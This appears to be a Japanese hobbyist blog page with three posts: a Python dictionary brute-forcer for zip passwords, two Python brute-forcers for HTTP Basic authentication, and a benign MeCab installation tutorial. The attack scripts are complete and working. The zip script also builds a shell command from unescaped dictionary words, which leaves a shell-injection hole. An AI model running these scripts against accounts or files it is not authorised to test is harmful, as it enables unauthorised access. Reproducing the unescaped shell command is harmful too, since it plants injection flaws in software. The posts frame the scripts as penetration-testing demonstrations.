ハニーポットの収集記録を公開!
移転しました.
zipファイルへの総当たり攻撃
前回の記事
前回は,PythonでBasic認証へ総当たり攻撃という記事をかいたのですが,今回はzipファイルに対して総当たり攻撃をしてみました!
- 悪用厳禁
- ペネトレーションテストで使ってください
書いてみた
# args[1] -> dictionary file , args[2] -> zip file import os import sys args = sys.argv dic = open(args[1],"r") passwd_list=dic.read().split("\n") for passwd in passwd_list: if len(passwd) == 0: print("empty") else: result=os.system('unzip -P ' + passwd + ' ' + args[2]) if result == 0: print("password is found!!! ->",passwd) sys.exit() print("password is not found")
説明
ほとんど説明することはありませんが,
一つ目の引数に,辞書ファイル.二つ目の引数にzipファイルを指定する.
辞書ファイルを1行ずつ読んで,zipファイルのパスワードと照合
見つかれば,終了
パスワードは厳重に!
寄宿学校のジュリエットが超面白い!
移転しました.
PythonでBasic認証に総当り攻撃
Basic認証って?
WebページにアクセスするときにIDとパスワードを求められるあれですよ.
Basic認証弱すぎじゃね?
Basic認証は,設定次第でアクセス試行回数を制限できるんですが,みんながそんなことをやっているわけではないので(てか,やってないほうが多い気がする),すぐ破られちゃいます.
Pythonで総当り攻撃
というわけで,プログラムを書いてみたんですが,めちゃくちゃ簡単に書くことができます.
で,その書いたプログラムというのがこちらです. (上が数字4桁,下が辞書ファイルを使ったもの)
#数字4桁の総当たり攻撃 import urllib.request def attack_basic(url,user_id): for password in range(1,10000): password = str(password) try: pass_mgr = urllib.request.HTTPPasswordMgrWithDefaultRealm() pass_mgr.add_password(realm=None,uri=url,user=user_id,passwd=password) handler = urllib.request.HTTPBasicAuthHandler(pass_mgr) opener = urllib.request.build_opener(handler) urllib.request.install_opener(opener) urllib.request.urlopen(url) print("%s is correct!" % password) except urllib.request.HTTPError as err: print("%s is incorrect" % password) if __name__ == '__main__': url = "" user_id = "" attack_basic(url,user_id)
#辞書ファイルを使った総当たり攻撃 import urllib.request def attack_basic(url,user_id): f = open("","r") passlist=f.read().splitlines() for password in passlist: try: pass_mgr = urllib.request.HTTPPasswordMgrWithDefaultRealm() pass_mgr.add_password(realm=None,uri=url,user=user_id,passwd=password) handler = urllib.request.HTTPBasicAuthHandler(pass_mgr) opener = urllib.request.build_opener(handler) urllib.request.install_opener(opener) urllib.request.urlopen(url) print("%s is correct!" % password) except urllib.request.HTTPError as err: print("%s is incorrect" % password) if __name__ == '__main__': url = "" user_id = "" attack_basic(url,user_id)
ピンときた人は!
すぐ変えてください. 私程度のワナビーにパスワードを破られるようじゃお話になりません.
MeCabをPythonで使ってみる
MeCabって?
形態素解析をするためのツールです
じゃあその形態素解析ってなに?
コマンドラインで実行した結果です.
$ mecab 君の名は ← 入力 君 名詞,代名詞,一般,*,*,*,君,キミ,キミ の 助詞,連体化,*,*,*,*,の,ノ,ノ 名 名詞,一般,*,*,*,*,名,ナ,ナ は 助詞,係助詞,*,*,*,*,は,ハ,ワ EOS
こんな感じで,文書を単語ごとに分割することです.
そういえば,君の名はがテレ朝で1月3日に公開されますね!(今は関係ない)
やり方
- まずはMeCabとその関連パッケージをインストールします
$ sudo apt-get install mecab libmecab-dev mecab-ipadic mecab-ipadic-utf8
- MeCabがインストールできたか確認
$ mecab (入力待になります)
これで,コマンドライン上での実行は完了です.
PythonでMeCabを実行
- 環境に合わせて選択してください ↓
Python 2の場合
$ pip install mecab-python
Python 3の場合
$ pip3 install mecab-python3
- 確認
以下のソースコードをコピペして実行してみてください.
import sys import MeCab m = MeCab.Tagger() text = m.parse("君の名前は") print(text)
これができれば,PythonでMeCabを使うことができるようになります!
ですが,インストールした時の辞書は固有名詞などの形態素解析に弱いです.
というわけで! 辞書を変えていきましょう
辞書を変更する
$ git clone --depth 1 https://github.com/neologd/mecab-ipadic-neologd.git $ cd mecab-ipadic-neologd $ ./bin/install-mecab-ipadic-neologd -n -a
これで辞書の取得は完了です.
確認のため,以下のコードを実行してみてください.
import sys import MeCab # Taggerの引数に-dオプションとmecab-ipadic-neologdの場所を指定する m = MeCab.Tagger("-d ../mecab-ipadic-neologd") text = m.parse("君の名は") print(text)
$ echo `mecab-config --dicdir`"/mecab-ipadic-neologd"
以上です!